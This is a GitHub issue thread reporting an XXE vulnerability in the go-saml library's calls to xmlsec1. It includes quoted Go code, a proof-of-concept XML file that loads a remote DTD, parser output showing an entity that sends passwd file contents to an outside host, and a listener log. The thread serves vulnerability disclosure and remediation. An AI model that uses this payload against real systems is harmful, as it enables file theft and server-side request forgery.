XXE Vulnerability - Githubissues

mrbrutti commented 7 years ago

Description

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

Whenever xmlsec verifies, encrypt, decrypt an XML document the parse by default reads external entities resulting on an XXE Vulnerability.

The vulnerable code xmlsec.go

https://github.com/RobotsAndPencils/go-saml/blob/master/xmlsec.go#L51

    // fmt.Println("xmlsec1", "--sign", "--privkey-pem", privateKeyPath,
    //  "--id-attr:ID", id,
    //  "--output", samlXmlsecOutput.Name(), samlXmlsecInput.Name())
    output, err := exec.Command("xmlsec1", "--sign", "--privkey-pem", privateKeyPath,
        "--id-attr:ID", id,
        "--output", samlXmlsecOutput.Name(), samlXmlsecInput.Name()).CombinedOutput()
    if err != nil {
        return "", errors.New(err.Error() + " : " + string(output))
    }

https://github.com/RobotsAndPencils/go-saml/blob/master/xmlsec.go#L92

    defer deleteTempFile(samlXmlsecInput.Name())

    //fmt.Println("xmlsec1", "--verify", "--pubkey-cert-pem", publicCertPath, "--id-attr:ID", id, samlXmlsecInput.Name())
    _, err = exec.Command("xmlsec1", "--verify", "--pubkey-cert-pem", publicCertPath, "--id-attr:ID", id, samlXmlsecInput.Name()).CombinedOutput()
    if err != nil {
        return errors.New("error verifing signature: " + err.Error())
    }
    return nil

Proof of Concept of xmlsec

$ cat input.xml 
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://192.168.3.1/evil.dtd"> %remote;]>
Running a fake command to test:

matt at バトー in /tmp
$ xmlsec1 --verify --output /tmp/output.xml /tmp/input.xml 
http://192.168.3.2/evil.dtd:1: parser warning : not validating will not read content for PE entity data
passwd"><!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://192.168.3.2/?%data;'>"
                                                                               ^
/tmp/input.xml:2: parser error : Start tag expected, '<' not found

^
Error: failed to parse xml file "/tmp/input.xml"
Error: failed to load document "/tmp/input.xml"
ERROR
SignedInfo References (ok/all): 0/0
Manifests References (ok/all): 0/0
Error: failed to verify file "/tmp/input.xml"

Listener:

❯❯❯ ruby server_only.rb 
Puma 2.14.0 starting...
* Min threads: 0, max threads: 16
* Environment: development
* Listening on tcp://192.168.3.1:80
== Sinatra (v1.4.6) has taken the stage on 80 for development with backup from Puma
The Server is Vulnerable | IP 192.168.3.2 | Path /evil.dtd
The Server is Vulnerable | IP 192.168.3.2 | Path /evil.dtd
The Server is Vulnerable | IP 192.168.3.2 | Path /evil.dtd
Note: The same results were found as a result of trying to encrypt or decyrpt content.

Recommendations

Even though the vulnerability is not directly responsible to go-saml. It is my recommendation that the go-saml library be more proactive and pre-filters any external DTDs by not allowing any of those during the marshall/unmarshall, instead of using the originalString at the time of signed/verify the SAML XML string using the vulnerable version of xmlsec/libxml2 libraries until the time the vulnerability can be correctly patched by itself.

For more information refer to:

mrbrutti commented 7 years ago

Any updates here ? It's been open for a long time.

junxie6 commented 7 years ago

XML Security Library 1.2.24 release (April 20 2017) disabled external entities loading by default to prevent XXE attacks (d-hat) https://www.aleksey.com/xmlsec/

andresriancho commented 6 years ago

Should this be closed?

RobotsAndPencils / go-saml

XXE Vulnerability #14